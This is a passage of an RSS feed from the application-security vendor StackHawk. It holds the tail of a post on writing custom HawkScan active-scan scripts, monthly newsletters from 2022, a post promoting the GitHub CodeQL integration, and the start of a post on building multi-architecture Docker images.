&lt;/p&gt;&lt;h3&gt;The scanNode Function&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The `scanNode()` function takes two parameters that will be provided by the scanner.  The &lt;a href=&quot;https://javadoc.io/static/org.zaproxy/zap/2.11.1/org/zaproxy/zap/extension/ascan/ScriptsActiveScanner.html&quot;&gt;&lt;u&gt;ScriptsActiveScanner&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://javadoc.io/static/org.zaproxy/zap/2.11.1/org/parosproxy/paros/network/HttpMessage.html&quot;&gt;&lt;u&gt;HttpMessage&lt;/u&gt;&lt;/a&gt;.  The `HttpMessage` here is the request sent to the node you’re scanning.  Since this is an active scan, I can modify the message to try to attack the node.  In the example above, I naïvely append “/users” to each message path and then check if the response contains a user that the authenticated user shouldn’t see.  HawkScan will load the script and run it as if it were a built-in plugin.  If the function finds a positive response (a tenancy violation), it calls our convenience `alert()` which will create and send the alert to the scanner.&lt;/p&gt;&lt;h3&gt;The alert Function&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The `newAlert()` function returns a builder for an `Alert` and `raise()` will build the alert and send it to the scanner.  In this example, the `PLUGIN_ID` refers to a &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html#register-script&quot;&gt;&lt;u&gt;custom Id&lt;/u&gt;&lt;/a&gt;, unique to your company and test script.  I’ve passed in my evidence index (the spot where I saw the unauthorized content in the response body) and my `HttpMessage` that I manipulated to attack the application.  The title, description, and additional parameters you can define, so provide useful feedback for yourself!  A full list of available options for alert parameters can be found in the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html#script-settings-reference&quot;&gt;&lt;u&gt;Script Settings Reference&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;The StackHawk Platform&lt;/h3&gt;&lt;p&gt;If the scan finds an alert based on your custom script, the alert is reflected in the &lt;a href=&quot;https://auth.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk platform&lt;/u&gt;&lt;/a&gt;, along with other vulnerabilities the scan detected.&lt;/p&gt;&lt;p&gt;You can then view the details and triage just like you would with any other finding!&lt;/p&gt;&lt;p&gt;And that’s all you have to do to start writing custom validations for your application!&lt;/p&gt;&lt;h3&gt;Examples&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/kaakaww/hawkscan-examples/tree/main/scripts/examples/active&quot;&gt;&lt;u&gt;HawkScan Examples&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/zaproxy/community-scripts/tree/main/active&quot;&gt;&lt;u&gt;Zap Community Scripts&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Getting Started With Custom Test Scripts&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Create a &lt;a href=&quot;https://auth.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk account&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Read the guide to &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;&lt;u&gt;Getting Started&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Contact your sales representative and let them know you want to use Custom Test Scripts&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Read the guide to configuring &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/custom-test-scripts.html&quot;&gt;&lt;u&gt;Custom Test Scripts&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Script away!&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;📺 Watch a Quick Demo&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/9vh07c0yp6?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[July Newsletter 2022: GitHub CodeQL Integration, G2 Awards, and more!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-july-newsletter-2022</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to KaaKaww About&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Our GitHub CodeQL Integration is Now Live!&lt;/b&gt; With this new integration, results from StackHawk scans are correlated with GitHub CodeQL findings in a single view to help developers fix high-priority issues faster. When a StackHawk finding is correlated with an existing potential vulnerability in GitHub CodeQL, developers are directed to the line of code where the issue lives, eliminating the guesswork of what to fix first.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=yktZiVe0Q0E&amp;feature=youtu.be&quot;&gt;&lt;b&gt;See How it Works&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;🦅 StackHawk Soars the G2 Charts this Summer!&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;&lt;b&gt;See for Yourself&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;🍿 StackHawk &amp;amp; GitHub CodeQL In Action&lt;/h2&gt;&lt;p&gt;Want to see more of this &lt;i&gt;hawksome&lt;/i&gt; integration? Join us on &lt;b&gt;August 16 at 10 AM PT&lt;/b&gt; to watch StackHawk&amp;#39;s Head of Product, Lauren Nagel, and Solutions Architect, Zachary Conger, reveal how teams can use StackHawk and GitHub CodeQL to remediate critical issues on the fly.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/3816575716253/WN_K1WaDpOBS6604Fk3WZOawQ&quot;&gt;&lt;b&gt;Watch the Recording
&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/M4xvDfooHX8&quot;&gt;Application Security: Going Fast, Safer Webinar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/_2U2h7NQPkk&quot;&gt;What’s New in DAST + SAST with StackHawk and Semgrep&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;📽 &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;August 22: &lt;a href=&quot;https://webinars.securityboulevard.com/api-security-0?utm_campaign=$2022.08.22$_EdCal_Panel_SB&amp;utm_source=StackHawk&quot;&gt;API Security Techstrong Panel&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;🎟 &lt;b&gt;In-Person Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;August 10-11: &lt;a href=&quot;https://www.blackhat.com/us-22/&quot;&gt;BlackHat USA&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼 &lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Senior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-first application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[June Newsletter 2022: New additions to third-party auth, deeper REST scanning, and more!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-june-newsletter-2022</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to KaaKaww About&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Third-Party Auth Wizard. &lt;/b&gt;Our Auth Wizard now supports configuration for the most popular third-party auth providers including Auth0, Okta, Firebase, and Keycloak. These new additions make it even easier to configure authenticated scanning and get to the good stuff!&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Deeper REST Beta. &lt;/b&gt;We&amp;#39;ve gone where no other DAST tool has before— deeper into REST API scanning. Configure StackHawk’s testing inputs to make sure the scanner can reach your API’s most critical logic. That means more robust scans with fewer false positives. &lt;a href=&quot;mailto:beta@stackhawk.com&quot;&gt;Contact beta@stackhawk.com to gain access.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Download Scan Logs. &lt;/b&gt;Take control of scan errors by downloading scan logs directly from StackHawk to gain greater visibility into what’s happening when the scanner is running and remediate scan issues quickly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Slack Updates. &lt;/b&gt;We heard you. Slack was a little noisy, so we toned it down by removing the Scan Started notification. Now you can focus on what’s most important— your scan results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;📺 Application Security: Going Faster, Safer&lt;/h2&gt;&lt;p&gt;Security is just another component of code quality... but how do you enable developers to find and fix security issues on their own?&lt;/p&gt;&lt;p&gt; 💡Here&amp;#39;s your first tip: Make security testing part of the CI/CD pipeline&lt;/p&gt;&lt;p&gt; If you&amp;#39;re not sure how to get started, watch this on-demand webinar for actionable guidance on helping developers find and fix application and API security issues every time they check in code.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=M4xvDfooHX8&quot;&gt;Watch the Recording&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/G8SXvklSwRY&quot;&gt;DevSecCon24: DevOps Worked...Why Hasn&amp;#39;t Security Kept Up?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.sans.org/webcasts/actually-making-application-and-api-security-testing-part-of-software-delivery/&quot;&gt;SANS Webcast: [Actually] Making Application and API Security Testing Part of Software Delivery&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/ol_Ag9a1yEQ&quot;&gt;React Summit 2022: Automated Application Security Testing&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.scmagazine.com/news/application-security/shiftleft-finds-a-97-reduction-in-open-source-software-vulnerabilities&quot;&gt;Security Magazine: ShiftLeft finds a 97% reduction in open source software vulnerabilities&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.scmagazine.com/news/cloud-security/travis-ci-api-exposes-thousands-of-user-tokens-that-can-let-threat-actors-launch-attacks&quot;&gt;Security Magazine: Travis CI API exposes thousands of user tokens that can let threat actors launch attacks&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/automated-graphql-security-testing/&quot;&gt;GraphQL Security: Automated Security Testing of GraphQL Backed Applications&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;📽 &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;June 30: &lt;a href=&quot;https://www.addevent.com/event/bj14048381&quot;&gt;HasuraCon - Automated GraphQL Application Security Testing Workshop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;🎟 &lt;b&gt;In-Person Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;August 10-11: &lt;a href=&quot;https://www.blackhat.com/us-22/&quot;&gt;BlackHat USA&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼 &lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Technical UX Writer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Junior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Senior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-first application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk May Newsletter 2022]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-may-newsletter-2022</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to KaaKaww About&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API access to scan data. &lt;/b&gt;You asked — we delivered! You can now use our API to pull StackHawk scan results into your favorite aggregator or custom reporting tool.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Seed paths. &lt;/b&gt;Some paths in your app or API may be difficult for an application security testing tool to find on its own. With this functionality, you can feed the scanner critical or isolated paths to ensure they are found and scanned every time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Apple Silicon support. &lt;/b&gt;Got the latest and greatest Mac? StackHawk’s Docker-based scanner is now compatible with Apple Silicon Chipsets. And don’t forget, the CLI runs on M1 chips, too.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;🎉 StackHawk Raises a Series B Round&lt;/h2&gt;&lt;p&gt;&lt;b&gt;ICYMI&lt;/b&gt;: We recently secured a new round of funding! This is a huge milestone for StackHawk because it allows us to fuel the growth of our team and continue to deliver on our developer-first approach to application and API security testing.&lt;/p&gt;&lt;p&gt;We are thrilled to have investors like Sapphire, Costanoa Ventures, Foundry Group, and others who believe in our product and support our mission to make application and API security part of continuous software delivery.&lt;/p&gt;&lt;p&gt;🗞 &lt;a href=&quot;https://www.stackhawk.com/blog/proudly-announcing-stackhawks-series-b/&quot;&gt;Read the Announcement&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;🎥 Upcoming Webinar&lt;/h2&gt;&lt;p&gt;At the end of the day, application and API security are just another component of code quality — but how do you build scalable processes to support secure code delivery? 🤔&lt;/p&gt;&lt;p&gt; Join us for a webinar with StackHawk&amp;#39;s Chief Security Officer, Scott Gerlach, as he shares practical tips to help engineering leaders make security testing part of efficient software delivery.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/WN_9UAYKAuiT5q-qVX4oS9fpA&quot;&gt;Watch the Recording&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/PcbLvD70Mvg&quot;&gt;StackHawk &amp;amp; Snyk in Action Webinar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/vTFLGwqX0eg&quot;&gt;Friday Hacking with HawkScan: Log4Shell Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/trSfeGi3JeY&quot;&gt;GraphQL Security Testing Technical Workshop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-snyk-integration-press-release/&quot;&gt;First of Its Kind Snyk Integration Correlates Dynamic &amp;amp; Static Application Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://venturebeat.com/2022/05/12/stackhawk-dynamic-app-testing/&quot;&gt;Venture Beat: StackHawk Raises $20.7M for Dynamic App Testing Platform&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-hawkscan-github-action/&quot;&gt;Application Security Testing with HawkScan Github Action&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;June 16: &lt;a href=&quot;https://jsnation.com/&quot;&gt;JS Nation 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 17-21: &lt;a href=&quot;https://reactsummit.com/&quot;&gt;React Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;🎟 In-Person Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;June 4-5: &lt;a href=&quot;https://bsidessf.org/&quot;&gt;BSidesSF 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 6-9: &lt;a href=&quot;https://www.rsaconference.com/usa&quot;&gt;RSA Conference&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 7-8: &lt;a href=&quot;https://cd.foundation/&quot;&gt;CdCon 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼 &lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Technical UX Writer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Junior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Senior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-first application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Streamlining Security Tooling in the Developer Workflow with StackHawk and GitHub CodeQL]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/github-codeql-and-stackhawk-streamlining-security-tooling-in-the-developer-workflow</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;A few weeks ago, Forrester Research released its &lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2022/RES177413&quot;&gt;&lt;u&gt;2022 State of Application Security Report&lt;/u&gt;&lt;/a&gt;. This year’s report has big implications for how engineering and security leaders can move forward to make sure that their applications and APIs are more secure. &lt;/p&gt;&lt;p&gt;Forrester once again cited that applications were the most common entry point for external attackers, with software vulnerabilities listed at number one and web application exploits at number three. However, surprisingly, it wasn’t the unknown risks that stuck out in this report. Instead, it was the fact that the way teams are delivering secure software is changing. &lt;/p&gt;&lt;p&gt;For example: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Development teams are now getting involved in purchasing decisions with more security leaders reporting that development teams are both final decision-makers for application security tooling, and budget holders. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Dynamic security testing =! Prod. 87% of organizations plan to implement dynamic security testing (DAST) for applications and APIs in the pre-release delivery cycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security teams are collaborating with engineering to create security champions that ensure that security is considered throughout development.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The message is clear – “shifting left” is no longer a buzzword. Teams are implementing a new model of security and making it work. &lt;/p&gt;&lt;h2&gt;Building a Security Approach that Works for Developers&lt;/h2&gt;&lt;p&gt;So your organization wants to shift left. &lt;/p&gt;&lt;p&gt;“How do I do that?” is not an uncommon question. &lt;/p&gt;&lt;p&gt;This is a complex topic that requires teams to rethink process, culture, and tooling. But when it comes to tooling decisions, the &lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2021/RES164041&quot;&gt;&lt;u&gt;2021 Forrester Report&lt;/u&gt;&lt;/a&gt; on Application Security, gave teams strong guidance on selecting tooling for faster remediations. &lt;/p&gt;&lt;p&gt;The research showed that combining static application security testing (SAST) and dynamic application security testing (DAST) scans results in findings remediated 24.5 days faster than the average, while combining SAST and SCA scans results in remediations taking place six days faster. &lt;/p&gt;&lt;p&gt;This has huge implications for security teams that are now faced with new threats every day. And, it has huge implications for development teams that are pushing breakneck deployment speeds that cannot be slowed down with unplanned rework from security issues. Combining tooling is a win across organizations. &lt;/p&gt;&lt;h2&gt;The Need for Unified Tooling&lt;/h2&gt;&lt;p&gt;For the engineering leaders we speak with, one concern that often comes up is how to make security tooling work together for a seamless developer experience. Asking developers to click into a different UI for each type of security tool is a non-starter. &lt;/p&gt;&lt;p&gt;If we are implementing security tooling in the development lifecycle, it needs to fit natively where developers are already working and provide developers with a holistic understanding of what needs to be done when security issues arise. &lt;/p&gt;&lt;p&gt;Not only does this equate to big productivity gains for the individual developer who, armed with security information, can fix issues without context switching, it is also hugely beneficial for engineering organizations that can have security included in software delivery without sacrificing velocity. &lt;/p&gt;&lt;h2&gt;DAST + SAST: Another Huge Step for Developer Productivity&lt;/h2&gt;&lt;p&gt;In April, we delivered our &lt;a href=&quot;https://www.stackhawk.com/blog/announcing-stackhawks-new-snyk-code-integration/&quot;&gt;&lt;u&gt;Snyk SAST integration&lt;/u&gt;&lt;/a&gt; to provide developers with fast fixes to top priority application and API security issues. And today, we are excited to announce our latest SAST integration - &lt;a href=&quot;https://www.stackhawk.com/GitHub-codeQL/&quot;&gt;&lt;u&gt;GitHub CodeQL&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;This integration will correlate StackHawk DAST findings with &lt;a href=&quot;https://codeql.github.com/&quot;&gt;&lt;u&gt;GitHub CodeQL&lt;/u&gt;&lt;/a&gt; SAST findings. In doing so, CodeQL users will be able to validate which SAST findings are exploitable and are therefore top priorities for immediate remediation. In the StackHawk platform, users will be directed to the specific line of code they need to address and patch the security issue. &lt;/p&gt;&lt;p&gt;For security users, these integrations will mean no more manual correlation of findings from different tools, creating tickets, and coaching developers through how to find, recreate, and fix the issue. Instead security teams can be strategic leaders, guiding the organization in how to think about risk, and building secure applications from the get go. &lt;/p&gt;&lt;p&gt;For developers who spend an&lt;a href=&quot;https://tools.totaleconomicimpact.com/go/snyk/TEI//docs/The-Total-Economic-Impact-Of-Snyk%20.pdf&quot;&gt;&lt;u&gt; average of 8 hours fixing a single security issue&lt;/u&gt;&lt;/a&gt;, this equals huge time savings. Developers are notified at the merge if new issues exist and are publicly exploitable. Then they are given exact guidance on how to fix it.&lt;/p&gt;&lt;p&gt;If you are interested in learning more, register for our &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/1716575715654/WN_K1WaDpOBS6604Fk3WZOawQ&quot;&gt;&lt;u&gt;GitHub CodeQL Webinar&lt;/u&gt;&lt;/a&gt; slated for August 16 at 10 AM. Our Head of Product, Lauren Nagel, will be walking you through how to deploy and use the new integration to make security testing an efficient part of the developer workflow. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building Multi-Architecture Docker Images in CICD]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/building-multi-architecture-docker-images-in-cicd</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Omar Alkhalili]]></dc:creator><content:encoded>&lt;p&gt;StackHawk has recently released support for arm64 packaged executables and Docker images for the StackHawk scanning engine. This is now standard as part of our scanner pipeline and enables us to support future computer architectures as part of our software build process. Building up our capacity to cross-compile our CLI and Docker images for multiple computer architectures as part of our regular continuous integration demonstrates how seriously we take our automation science.&lt;/p&gt;&lt;p&gt;This blog post describes how we went about supporting builds of our scanner product for the arm64 architecture and outlines the details we had to concern ourselves with and address. Adding this support has allowed our users to run our scanner product on the arm64 architecture. We hope you find this guide useful in implementing multi-architecture builds of your software.&lt;/p&gt;&lt;h2&gt;What is the difference between amd64 and arm64 architectures?&lt;/h2&gt;&lt;p&gt;Software compiled into executable binaries are built to run for a given architecture. The software architecture describes the instruction set of operations the CPU will perform when executing the machine code. Code compiled for the &lt;a href=&quot;https://developer.arm.com/documentation/102374/latest/&quot;&gt;&lt;u&gt;arm64&lt;/u&gt;&lt;/a&gt; architecture could not run on an Intel-based CPU, for example. The ARM standard for software architecture became popular with mobile devices, and the armv8 standard is arm64, which has a 64-bit word length, but can be run in an AArch32 state, which is effectively compatible with running armv7 compiled software. This blurs the lines between applications designed for mobile operating systems and system servers, and is proving to be advantageous for running high performance software at scale.&lt;/p&gt;&lt;h3&gt;The many names of arm64&lt;/h3&gt;&lt;p&gt;Arm64 and AArch64 are similar names for the same architecture. Docker architecture names were not standardized until after variations of all architectures had emerged. These get normalized into the specific known architectures Docker respects. AArch64, linux/arm64 and armv8 are all acceptable names and designate the container as built for arm64 architecture. More information on the architectures supported by Docker can be found &lt;a href=&quot;https://github.com/docker-library/official-images#architectures-other-than-amd64&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Building the StackHawk CLI&lt;/h2&gt;&lt;p&gt;The StackHawk CLI was developed in Kotlin with &lt;a href=&quot;https://ajalt.github.io/clikt/&quot;&gt;&lt;u&gt;Clikt&lt;/u&gt;&lt;/a&gt; and uses a custom fork of the &lt;a href=&quot;https://github.com/zaproxy/zaproxy&quot;&gt;&lt;u&gt;ZAP core project&lt;/u&gt;&lt;/a&gt;. HawkScan uses &lt;a href=&quot;https://gradle.org/&quot;&gt;&lt;u&gt;Gradle&lt;/u&gt;&lt;/a&gt; as a build tool and separates its build process into multiple modules. These modules package themselves into a JAR that is run from a shell script. That executes the compiled JAR with the Java virtual machine installed on the host machine. This is where the Java axiom “write once, run anywhere” comes true; running HawkScan on arm64 worked on day one with our CLI because it is a Java bytecode executable, and the Java 17 executable (and a Microsoft backported version of Java 11) support running on the arm64 architecture.&lt;/p&gt;&lt;p&gt;While our CLI worked seamlessly on the arm64 architecture, more effort was required to get our HawkScan Docker image and platform services working on different architectures. Much of our work intimately involved Docker as a dependency and ensuring that Docker images could be built to be compatible with the arm64 architecture.&lt;/p&gt;&lt;h2&gt;Building multi-architecture software with Docker&lt;/h2&gt;&lt;p&gt;For those that may not be familiar, &lt;a href=&quot;https://www.docker.com/&quot;&gt;&lt;u&gt;Docker&lt;/u&gt;&lt;/a&gt; is a wonderful collection of software tools, applications and cloud platform services to enable the development of software in containers. Containers run from defined software images, which are housed in container registries.&lt;/p&gt;&lt;p&gt;On OSX and Windows, &lt;a href=&quot;https://docs.docker.com/desktop/&quot;&gt;&lt;u&gt;Docker Desktop&lt;/u&gt;&lt;/a&gt; is a GUI application, with additional capabilities beyond what the Docker API or CLI typically provide. These utilities help provide a rich experience when developing on these platforms, but creates a disconnect when attempting to automate the building of software in Linux or CI environments.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/buildx/working-with-buildx/&quot;&gt;&lt;u&gt;Docker buildx&lt;/u&gt;&lt;/a&gt; is a plugin that extends the Docker command to use the BuildKit toolkit and allows for building multi-platform images with Docker Desktop. This is done using the &lt;a href=&quot;https://docs.docker.com/engine/reference/commandline/buildx_build/#platform&quot;&gt;&lt;u&gt;--platform flag&lt;/u&gt;&lt;/a&gt; to specify the architecture that an image should be built for. Docker Desktop provides build roles for compiling into multiple architectures, but the Linux Docker engine does not have these same capabilities by default.&lt;/p&gt;&lt;p&gt;In order to build for multiple architectures in a Linux environment in CI, you must first start the cross-platform emulator with specific Docker images. binfmt_misc with QEMU emulator support 